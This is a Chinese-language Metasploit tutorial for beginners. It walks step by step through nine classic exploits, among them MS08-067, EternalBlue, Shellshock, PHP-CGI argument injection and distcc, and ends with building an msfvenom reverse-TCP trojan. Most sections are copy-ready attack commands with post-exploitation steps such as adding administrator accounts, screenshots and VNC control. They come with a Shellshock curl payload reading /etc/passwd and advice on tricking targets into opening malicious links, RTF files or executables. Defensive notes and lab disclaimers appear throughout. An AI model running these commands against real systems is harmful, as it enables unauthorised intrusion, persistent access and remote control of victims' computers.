一、MSF 是什么?一句话讲明白
Metasploit 就是一个漏洞框架。你可以把它想象成一把"万能钥匙",里面装了各种开锁工具(漏洞利用模块)。遇到什么锁(漏洞),你就掏出对应的钥匙(模块),拧几下(配置参数),门就开了(拿到权限)。
它的全称是 The Metasploit Framework,简称 MSF。在 Kali Linux 里,它是预装的,标准安装目录在:
/usr/share/metasploit-framework/
这个目录下最核心的就是 modules 文件夹,里面分门别类地放着各种漏洞利用模块。
二、MSF 基本命令:新手必背的 10 个命令
玩 MSF 其实很简单,就那几个命令翻来覆去地用。下面我给你列了最常用的,背下来就行:
1. msfconsole --- 启动 MSF
这是进入 MSF 控制台的命令,相当于"开机"。直接终端里输入:
msfconsole
等一会儿就进入 MSF 的命令行界面了。
2. ? --- 查看帮助
不知道干啥的时候,输入 ? 就能看到所有命令列表。想查某个具体命令怎么用,比如 search,就输入:
? search
3. search --- 搜索漏洞模块
这是最常用的命令之一。比如你想找 ms08-067 这个漏洞的模块,就搜:
search ms08-067
它会列出所有相关的模块,你挑一个用就行。
4. use --- 使用(加载)某个模块
找到想用的模块后,用 use 加载它。比如:
use exploit/windows/smb/ms08_067_netapi
加载完之后,你的命令提示符会变成模块的名字,告诉你现在在哪个模块下面。
5. back --- 返回上一级
在模块里待腻了,想回去,就输入 back,跟你在文件系统里 cd .. 一个意思。
6. connect --- 连接主机
这个命令可以让你直接连接到某个主机的某个端口,相当于一个简易的 telnet。比如连接百度的 80 端口:
connect www.baidu.com 80
7. info --- 查看模块详细信息
想了解某个模块是干啥的、影响什么系统、需要设置什么参数,就用 info:
info exploit/windows/smb/ms08_067_netapi
8. show options --- 查看需要配置的参数
进入一个模块后,最关键的一步就是看要设置什么参数。输入:
show options
它会列出所有参数,标着 yes 的是必须设置的,no 的是可选的。
9. set --- 设置参数
知道要设置什么了,就用 set 来配置。比如设置目标 IP:
set RHOST 192.168.1.100
RHOST 就是 Remote Host(远程主机)的意思。
10. run / exploit --- 执行攻击
参数都设好了,就差最后一步了!输入 run 或者 exploit,攻击就开始了:
run
或者:
exploit
效果是一样的。
其他几个常用的
-
jobs--- 查看和管理后台运行的任务 -
sessions--- 查看已经拿到的会话(shell) -
sessions -i 1--- 进入第 1 个会话 -
quit/exit--- 退出 MSF
三、9 个经典漏洞实战:手把手教你用
光说不练假把式。下面咱们通过 9 个经典漏洞,来看看 MSF 到底怎么用。每个漏洞我都会给你:命令汇总 + 详细步骤 + 大白话原理。
⚠️ 注意:以下内容仅用于学习和合法的渗透测试,请不要用于未经授权的系统。
漏洞 1:MS08-067 --- 网络服务器攻击(经典中的经典)
环境 :靶机 WinXP SP3
一句话描述:通过 Windows 的 445 端口(SMB 服务)直接拿系统权限,当年大名鼎鼎的"震网"病毒都用过类似的漏洞。
命令汇总(速查表)
msfconsole
search MS08-067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.244.7
run
shell
net user
net user test test /add
net user
net user test /del
详细步骤
第一阶段:启动 MSF,准备攻击
打开终端,输入 msfconsole,进入 MSF 控制台。
第二阶段:找漏洞模块,配置参数
-
搜索漏洞:
search MS08-067 -
加载模块:
use exploit/windows/smb/ms08_067_netapi -
看需要设置啥:
show options -
设置目标 IP:
set RHOST 192.168.0.8(把 IP 换成你靶机的 IP)
第三阶段:开打,拿权限
输入 run,等一会儿,如果成功了,你就会看到 meterpreter 的提示符。
然后输入 shell,就能拿到目标机器的命令行窗口了。
第四阶段:后渗透操作(用户管理)
拿到 shell 后,你就可以为所欲为了。比如:
-
net user--- 查看当前系统有哪些用户 -
net user test test /add--- 添加一个用户 test,密码也是 test -
net user test /del--- 删除用户 test
原理:这个漏洞说白了就是Windows 的 SMB 服务在处理路径的时候太粗心了。
你可以这么理解:Windows 的 445 端口有个"保安"(NetPathCanonicalize 函数),专门负责检查访问路径合不合法。但是这个保安干活不仔细,遇到 ..\ 这种相对路径的时候,没检查边界就直接处理了。
攻击者就利用这一点,构造一个特别长的恶意路径,把保安的"工作记录"(栈缓冲区)给撑爆了(缓冲区溢出),然后把保安的"下一步去哪"(返回地址)改成攻击者指定的地方。这样 CPU 就乖乖地去执行攻击者的代码了。
影响的系统:Windows 2000、XP、Server 2003 这些老系统,没打 2008 年 10 月的补丁(KB958644)。
怎么防御:
-
打补丁 KB958644(最根本的办法)
-
关掉 445 端口,或者用防火墙限制 SMB 服务
-
监控网络流量,检测恶意的 SMB 请求
漏洞 2:MS10-018 --- 浏览器攻击(打开网页就中招)
环境 :靶机 WinXP SP3 + IE 浏览器
一句话描述:你做一个恶意网页,骗目标用 IE 打开,他一打开你就能拿到他电脑的权限。
命令汇总(速查表)
msfconsole
search ms10-018
use exploit/windows/browser/ms10_018_ie_behaviors
set SRVHOST 192.168.244.4 # 填你自己(Kali)的 IP
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 4441
exploit -j
jobs
sessions
sessions -i 1
shell
详细步骤
第一阶段:启动 MSF
输入 msfconsole 进入控制台。
第二阶段:搜索并加载漏洞模块
-
search ms10-018--- 找模块 -
use exploit/windows/browser/ms10_018_ie_behaviors--- 用这个模块
第三阶段:配置攻击参数
-
show options--- 看看要设置啥 -
set SRVHOST 192.168.11.111--- 设置你自己的 IP(攻击机 IP) -
set PAYLOAD windows/meterpreter/bind_tcp--- 设置正向连接的 payload -
show options--- 再看看 payload 的选项 -
set LPORT 4441--- 改个端口号,方便识别
第四阶段:启动攻击服务
输入 run,MSF 会生成一个 URL 地址。你把这个 URL 通过社工(比如发邮件、发链接)骗目标用 IE 打开。
目标一访问,MSF 这边就会显示成功了。
第五阶段:查看会话,进去搞事情
-
sessions--- 看看有哪些会话 -
sessions -i 1--- 进入第 1 个会话(-i 就是 enter 进去的意思) -
shell--- 拿到命令行,看看 IP 是不是目标机器
💡 小提示:如果你靶机里装了 OllyDbg(OD)这种调试器,IE 可能会弹出调试窗口导致攻击失败。把 OD 删掉就好了。
原理
这个漏洞出在 IE 浏览器里的一个叫 TDC(Tabular Data Control)的 ActiveX 控件上。
这个控件本来是用来加载表格数据(比如 CSV 文件)的,但是它在处理 URL 参数的时候,没检查长度。你给它一个特别长的 URL,它的缓冲区就被撑爆了(堆溢出)。
攻击流程大概是这样的:
-
你做一个恶意网页,里面嵌了一段 JavaScript
-
目标用 IE 打开这个网页,TDC 控件就被加载了
-
超长的 URL 参数把控件的内存搞坏了
-
攻击者趁机把 CPU 引到自己的恶意代码(Shellcode)上
-
目标的电脑就被控制了
影响的系统:IE 6/7/8 版本,Windows XP 这些老系统。
怎么防御:
-
打补丁 KB980182(微软官方修复)
-
禁用 ActiveX 控件
-
开启 DEP(数据执行保护)和 ASLR(地址空间随机化)
-
升级到新版本的浏览器
漏洞 3:MS10-087 --- 用 Word 文档搞事情(文件格式漏洞)
环境 :靶机 WinXP SP3 + Word
一句话描述:你生成一个恶意的 Word 文档(RTF 格式),发给目标,他一打开就中招。
命令汇总(速查表)
msfconsole
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec
set CMD calc.exe
set FILENAME ceshi.rtf
run
详细步骤
第一阶段:加载文件型漏洞模块
-
进入 MSF:
msfconsole -
搜索模块:
search ms10-087 -
使用模块:
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
第二阶段:配置攻击载荷
-
看需要设置啥:
show options -
改文件名:
set FILENAME ceshi.rtf(生成的恶意文件叫啥) -
设置 payload:这次我们不用交互式的 shell 了,换一个简单的,让它弹个计算器:
set payload windows/exec set CMD calc.exe
第三阶段:生成恶意文件
输入 run,文件就生成了。生成的文件在 ~/.msf4/local/ 目录下(root 用户就是 /root/.msf4/local/)。
你把这个 ceshi.rtf 文件发给目标,他用 Word 一打开,计算器就弹出来了。(真实场景下可以把 calc.exe 换成更厉害的 payload)
原理
这个漏洞出在 Word 解析 RTF 文件的逻辑里。
RTF 是一种富文本格式,里面有各种"控制字"(就像 HTML 标签一样)。其中有个叫 pnfragments 的控制字,Word 在处理它的时候,没检查属性字符串的长度。
你可以这么理解:Word 给这个控制字的属性留了一个"小盒子"(固定大小的栈缓冲区),但是如果攻击者塞进去一个特别长的字符串,盒子就装不下了,溢出来的数据就把旁边的"返回地址"给覆盖了。CPU 本来应该回到原来的地方继续执行,结果被拐到了攻击者的恶意代码那里。
影响的系统:
-
操作系统:Windows XP SP3、Server 2003、Vista、7
-
Office 版本:Office 2003 SP3、2007 SP2、2010,还有 Mac 版 Office
真实案例:2010-2011 年的时候,这个漏洞被大量用于挂马攻击,全球超过 50% 的挂马网站都在用它传播木马。
怎么防御:
-
打补丁 KB2423930
-
禁用 RTF 解析功能
-
开启 DEP 和 Office 的受保护视图(Protected View)
-
邮件监控,检测异常的 RTF 文件
漏洞 4:CVE-2017-7494 --- Samba 漏洞入侵 Linux(Linux 版永恒之蓝)
环境 :靶机 Vulhub(一个漏洞练习平台)
一句话描述:Linux 上的 Samba 服务(就是 Windows 和 Linux 之间共享文件的服务)有个漏洞,能直接拿 root 权限。
命令汇总(速查表)
# ===== 靶机上(Vulhub)用 root 执行 =====
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose up -d
# ===== Kali 上执行 =====
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.244.6 # 靶机 IP
run
id
详细步骤
第一步:启动靶机环境
在 Vulhub 靶机上,切换到 root 用户,然后进入漏洞目录:
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose up -d
靶机就启动好了。用 ifconfig 看看靶机 IP 是多少,比如是 192.168.244.6。
第二步:Kali 上用 MSF 攻击
-
启动 MSF:
msfconsole -
使用模块:
use exploit/linux/samba/is_known_pipename -
设置目标 IP:
set RHOSTS 192.168.244.6 -
开打:
run
成功之后,输入 id 看看,应该就是 root 权限了。
原理
这个漏洞叫 "SambaCry",被称为Linux 版的永恒之蓝。
漏洞的核心是 Samba 在处理"命名管道"(Named Pipe)的时候,路径验证有问题。
你可以这么理解:
-
Samba 有个保安(
is_known_pipename函数),负责检查客户端请求的管道名字合不合法 -
但是这个保安太蠢了,你给它一个带
/的路径(比如/home/attacker/malicious.so),它居然把这个当成了服务器上的绝对路径 -
攻击者先通过可写的共享目录,上传一个恶意的
.so文件(Linux 的动态库,就相当于 Windows 的 DLL) -
然后让 Samba 去加载这个恶意 .so 文件
-
Samba 是以 root 权限运行的,所以加载恶意库的时候,恶意代码也就有了 root 权限
攻击前提:
-
目标有一个可写的 Samba 共享目录(匿名可写或者有弱口令)
-
Samba 版本在 3.5.0 到 4.6.4/4.5.10/4.4.14 之间
怎么防御:
-
升级 Samba 到 4.6.4 以上版本
-
在 smb.conf 里加上
nt pipe support = no,禁用命名管道 -
共享目录设为只读,不让上传文件
-
防火墙限制 445 端口的访问
-
不要用 root 运行 Samba 服务
漏洞 5:CVE-2014-6271 --- Bash Shellshock(破壳漏洞)
环境 :靶机 Vulhub
一句话描述:Bash(Linux 的命令行解释器)有个致命漏洞,通过 HTTP 请求头就能远程执行命令,当年轰动全球。
命令汇总(速查表)
# ===== 靶机上(Vulhub)用 root 执行 =====
docker-compose down
cd /home/enjoy/vulhub-master/bash/shellshock
docker-compose build
docker-compose up -d
docker-compose config
# 启动后访问 http://your-ip:8080/victim.cgi
# ===== Kali 上执行 =====
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.244.6 # 靶机 IP
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
id
💡 小知识:
www-data是 Linux/Unix 系统专门用来跑 Web 服务(比如 Apache、Nginx)的用户,破壳漏洞拿到的默认权限就是它。
原理
Shellshock(破壳漏洞)是 2014 年爆出的一个超级大漏洞,CVSS 评分 10.0(最高危),影响全球数亿台设备。
漏洞是怎么回事呢?
Bash 有个功能:可以把函数定义通过环境变量导出(export -f)。比如:
func() { echo "Hello"; }
export -f func
这样子进程也能用到这个函数。
但是问题来了:Bash 在解析这种环境变量的时候,没检查函数定义的边界。
攻击者构造一个这样的环境变量:
VAR=() { :; }; echo Vulnerable
-
() { :; }--- 这是一个合法的空函数定义 -
echo Vulnerable--- 这是注入的恶意命令
Bash 解析的时候,傻呵呵地把后面的 echo Vulnerable 也当成了函数定义的一部分,直接就执行了!
这就像 SQL 注入一样,代码和数据混在一起了。
远程怎么利用呢?
漏洞本身不能直接远程触发,得借助第三方服务。最常见的就是 Apache + CGI:
-
攻击者发一个 HTTP 请求,把恶意代码放在请求头里(比如 User-Agent、Cookie)
-
Apache 收到请求,把请求头放进环境变量里,然后调用 Bash 执行 CGI 脚本
-
Bash 解析环境变量的时候,恶意代码就被执行了
比如用 curl 可以这样测试:
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'" http://victim/cgi-bin/test.cgi
影响的系统:所有用 Bash 1.14 到 4.3 版本的 Linux/Unix 系统,包括各种服务器、嵌入式设备(路由器)、Docker 镜像。
怎么防御:
-
升级 Bash 到 4.3-013 以上版本
-
Web 服务器配置过滤规则,拦截包含
() {的请求头 -
用非特权用户运行 Web 服务
-
用 Alpine Linux 这种不依赖 Bash 的轻量系统
漏洞 6:CVE-2012-1823 --- PHP CGI 漏洞
环境 :靶机 Vulhub
一句话描述:PHP 的 CGI 模式下,URL 里的查询字符串被当成了命令行参数,导致远程代码执行。
命令汇总(速查表)
# ===== 靶机上(Vulhub)用 root 执行 =====
docker-compose down
cd /home/enjoy/vulhub-master/php/CVE-2012-1823
docker-compose build
docker-compose up -d
docker-compose config
# 启动后访问 http://your-ip:8080/ 看到"Hello"
# 访问 http://your-ip:8080/index.php?-s 能看到源码,说明有漏洞
# ===== Kali 上执行 =====
msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.244.6 # 靶机 IP
set RPORT 8080
run
shell
id
原理
PHP 有好几种运行模式:CLI(命令行)、CGI、FastCGI、Apache 模块(mod_php)。
漏洞出在 CGI 模式下。
按照 CGI 协议(RFC 3875)的规定,HTTP 请求的查询字符串(就是 ? 后面的东西)应该作为 QUERY_STRING 环境变量传给 PHP,而不应该直接当成命令行参数。
但是 PHP 早期版本为了方便开发测试,允许通过查询字符串传递命令行参数 (比如 -d、-s)。这就出问题了!
攻击者可以在 URL 里构造以 - 开头的参数,PHP-CGI 傻乎乎地把这些当成了命令行选项:
-
-s--- 显示页面源码(信息泄露) -
-d--- 修改 PHP 配置项(最危险!) -
-i--- 显示 PHP 环境信息
最经典的利用方式是这样的:
http://target/cgi.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input
什么意思呢?
-
-d allow_url_include=on--- 打开"包含远程文件"的开关 -
-d auto_prepend_file=php://input--- 让 PHP 在执行脚本前,先加载php://input(也就是 POST 请求体)
然后攻击者用 POST 请求把恶意代码(比如 <?php system("id"); ?>)发过去,PHP 就乖乖执行了。
影响的版本:PHP 5.0.0 到 5.3.11,以及 5.4.0 到 5.4.1。
怎么防御:
-
升级 PHP 到 5.3.12/5.4.2 以上
-
别用 PHP-CGI 模式,改用 PHP-FPM(FastCGI)或者 mod_php
-
Web 服务器配置过滤规则,拦截包含
-d、-s等参数的请求 -
用非特权用户运行 PHP
漏洞 7:CVE-2004-2678 --- Distcc 后门漏洞
环境 :靶场 Metasploitable2-Linux(用户名/密码:msfadmin/msfadmin)
一句话描述:分布式编译工具 Distcc 配置不当,任何人都能连上去执行命令。
命令汇总(速查表)
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.244.8 # 靶机 IP
set lhost 192.168.244.4 # 你自己(Kali)的 IP
exploit
id
原理
Distcc 是谷歌开源的一个分布式编译工具。干啥用的呢?比如你要编译 Linux 内核,代码特别大,一台机器编译要很久。用 Distcc 就可以把编译任务分到好几台服务器上并行编译,速度就快多了。
它默认监听 3632 端口。
漏洞在哪呢?
早期的 Distcc 版本(2.x 系列)默认配置不限制客户端 IP,谁都能连到 3632 端口。而且 distccd 服务通常是以高权限用户(甚至 root)运行的。
Distcc 本来是接收客户端发来的编译指令(比如 gcc 命令),然后去编译代码。但是它对客户端发来的指令完全信任,不做任何验证。
那攻击者就开心了:我发的不是编译指令,而是系统命令行不行?
当然可以!直接就执行了。
攻击步骤:
-
用 nmap 扫目标网络的 3632 端口,看看哪些机器开了 Distcc
-
用 MSF 的
exploit/unix/misc/distcc_exec模块 -
设置目标 IP 和自己的 IP
-
执行
exploit,直接拿 shell
影响的版本:Distcc 2.x 系列,还有 Xcode 1.5 里集成的 Distcc。
怎么防御:
-
升级到 Distcc 3.0 以上
-
配置文件里限制允许连接的客户端 IP(
--allow 192.168.1.0/24) -
用非特权用户运行 distccd
-
防火墙关掉 3632 端口,或者只对内网开放
-
监控 3632 端口的异常流量
漏洞 8:MS17-010 --- 永恒之蓝(最著名的勒索病毒漏洞)
环境 :靶场 Win7
一句话描述:SMB 协议的内核级漏洞,不需要用户交互,扫到 445 端口开着就能打。WannaCry 勒索病毒就是用的这个漏洞。
命令汇总(速查表)
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/bind_tcp
set rhosts 192.168.209.129
set LHOST 0.0.0.0
run
net user test test /add
net localgroup administrators test /add
net user
net user test /del
详细步骤
第一阶段:启动 MSF
输入 msfconsole 进入控制台。
第二阶段:选择攻击脚本
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/bind_tcp
set rhosts 192.168.209.129 # 靶机 IP
set LHOST 0.0.0.0
run
成功之后就拿到 shell 了,你可以添加用户、加到管理员组等等。
原理
永恒之蓝(EternalBlue)是 2017 年泄露的一个超级漏洞,来头可不小------它是美国国家安全局(NSA)开发的黑客工具,后来被黑客组织"影子经纪人"(Shadow Brokers)泄露了。
这个漏洞有多厉害?
-
CVSS 评分 10.0(满分)
-
不需要用户交互 ------ 只要你开着 445 端口,连上网,就能被打
-
内核级权限 ------ 直接以内核模式执行代码,什么防护都能绕过
-
蠕虫式传播 ------ 感染一台后自动扫描内网其他机器,迅速扩散
漏洞原理是什么呢?
漏洞出在 Windows 的 SMB 协议(文件共享协议,445 端口)处理 FEALIST(文件扩展属性列表) 的逻辑里。
简单说就是:SMB 协议有个函数叫 SrvOs2FeaListSizeToNt,负责把一种格式的 FEALIST 转换成另一种格式。但是这个函数在计算需要多大内存的时候,算错了,导致堆缓冲区溢出。
而且这个漏洞有 7 个小缺陷组合在一起(NSA 出品,必属"精品"):
-
缓冲区没初始化,攻击者可以写任意数据
-
某个子命令的长度检查失效,可以发超长参数
-
响应数据长度越界
-
时序漏洞,可以干扰内存状态
-
数据包类型混淆
-
扩展属性类型分配错误
-
内核态和用户态没隔离好
攻击流程大概是这样的:
-
攻击者发很多 SMB 请求,在目标内存里"占位置"(Grooming 技术)
-
发一个带恶意 FEALIST 的请求,触发溢出
-
溢出的数据覆盖了关键的内存指针
-
攻击者通过这个指针把恶意代码写到内核里
-
利用 Windows 的 APC 机制,让恶意代码在内核里执行
-
完事了,系统就是你的了
真实案例:
-
WannaCry(想哭勒索病毒):2017 年席卷全球,感染了 20 多万台设备,医院、交通系统都瘫痪了
-
NotPetya:伪装成勒索软件,实际上是搞破坏的,针对乌克兰基础设施
-
各种挖矿蠕虫:比如 Adylkuzz,偷偷用别人的电脑挖门罗币
影响的系统:
-
Windows XP、Vista、7、8、10(2017 年 3 月前的版本)
-
Windows Server 2003、2008、2008 R2、2012
怎么防御:
-
打补丁!打补丁!打补丁! ------ 安装 KB4013389(最重要的事情说三遍)
-
关闭 SMBv1 协议(用 PowerShell:
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol) -
防火墙阻断 445 端口的入站访问
-
开启 SMB 签名,防止中间人攻击
-
开启 HVCI(基于虚拟化的安全)和 CFG(控制流防护)
漏洞 9:用 MSF 制作木马,远程控制电脑
环境 :靶场 Win7
一句话描述:用 msfvenom 生成一个木马程序,骗目标运行,然后你就能远程控制他的电脑了。
命令汇总(速查表)
# ===== 第一步:制作木马 =====
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.128 lport=7788 -f exe > hello.exe
# ===== 第二步:创建监听(在 MSF 里)=====
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 7788
exploit -j
# ===== 第三步:目标运行木马后,你就能控制了 =====
screenshot # 截屏
ipconfig # 查看 IP
shell # 拿命令行
run vnc # 远程桌面控制
详细步骤
第一阶段:制作病毒(木马)
msfvenom 是 MSF 自带的一个工具,是 msfpayload 和 msfencode 的结合体,专门用来生成木马程序。
打开终端,输入:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.128 lport=7788 -f exe > hello.exe
解释一下参数:
-
-p windows/meterpreter/reverse_tcp--- payload 用反向 TCP 连接的 meterpreter -
lhost=192.168.209.128--- 你的 IP(Kali 的 IP),木马里硬编码了这个地址,目标运行后会回连到你这 -
lport=7788--- 你的监听端口 -
-f exe--- 输出格式是 exe 可执行文件 -
> hello.exe--- 保存成 hello.exe
执行完就生成了一个 hello.exe 木马文件。
第二阶段:创建监听
木马生成了,目标运行后会连你,那你得先"等着"才行。
进入 MSF:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 7788
exploit -j
exploit -j 的意思是在后台运行监听任务。
第三阶段:目标运行木马,开始控制
把 hello.exe 发给目标,他一运行,你这边就会收到会话。
然后你就能为所欲为了:
-
screenshot--- 截个屏看看目标在干啥 -
ipconfig--- 看看目标的网络配置 -
shell--- 拿命令行 -
run vnc--- 远程桌面控制,就像坐在目标电脑前一样
原理
这个原理其实很简单,就是反向连接木马的思路:
-
你(攻击者)在自己电脑上开个端口,等着别人连过来(监听)
-
木马程序里写死了你的 IP 和端口
-
目标运行木马后,木马主动来连你
-
连接建立后,你就可以给木下发命令,木马在目标电脑上执行
为什么叫"反向"连接呢?因为通常是客户端连服务器,但这里是目标(被攻击者)主动连攻击者,方向反了。
这么做的好处是:目标电脑的防火墙一般不会拦出站连接(往外连的),所以很容易成功。
再次提醒:以上内容仅供学习,请不要用于非法用途!
四、总结一下
好了,9 个漏洞讲完了,咱们来回顾一下:
| 漏洞编号 | 类型 | 一句话 | 端口/方式 |
|---|---|---|---|
| MS08-067 | Windows SMB 漏洞 | 经典老漏洞,445 端口直接拿权限 | 445 端口 |
| MS10-018 | 浏览器漏洞 | IE 的 ActiveX 控件溢出,开网页就中招 | HTTP + 社工 |
| MS10-087 | 文件格式漏洞 | Word 解析 RTF 溢出,打开文档就中招 | 邮件/文件 + 社工 |
| CVE-2017-7494 | Linux Samba 漏洞 | Linux 版永恒之蓝,Samba 服务漏洞 | 445 端口 |
| CVE-2014-6271 | Bash 破壳漏洞 | Bash 环境变量注入,通过 HTTP 头远程执行 | HTTP/CGI |
| CVE-2012-1823 | PHP CGI 漏洞 | PHP-CGI 参数注入,URL 里就能传命令 | HTTP |
| CVE-2004-2678 | Distcc 漏洞 | 分布式编译工具配置不当,直接命令执行 | 3632 端口 |
| MS17-010 | 永恒之蓝 | 内核级 SMB 漏洞,蠕虫式传播 | 445 端口 |
| msfvenom | 木马制作 | 生成木马程序,反向连接控制 | 社工 + 反向连接 |
几个共同点:
-
大部分漏洞都是缓冲区溢出 或者输入验证不严导致的
-
打补丁是最根本的防御方法
-
权限最小化、防火墙、入侵检测这些纵深防御措施也很重要
-
社工(社会工程学)往往是突破口,技术再好也架不住人点了可疑链接
学习建议:
-
先把 MSF 的基本命令练熟
-
每个漏洞都亲手复现一遍(用靶场,别搞事)
-
理解原理比死记命令重要
-
多关注安全资讯,了解最新的漏洞和防护技术
好了,今天的内容就到这里。安全路漫漫,咱们一起学习进步!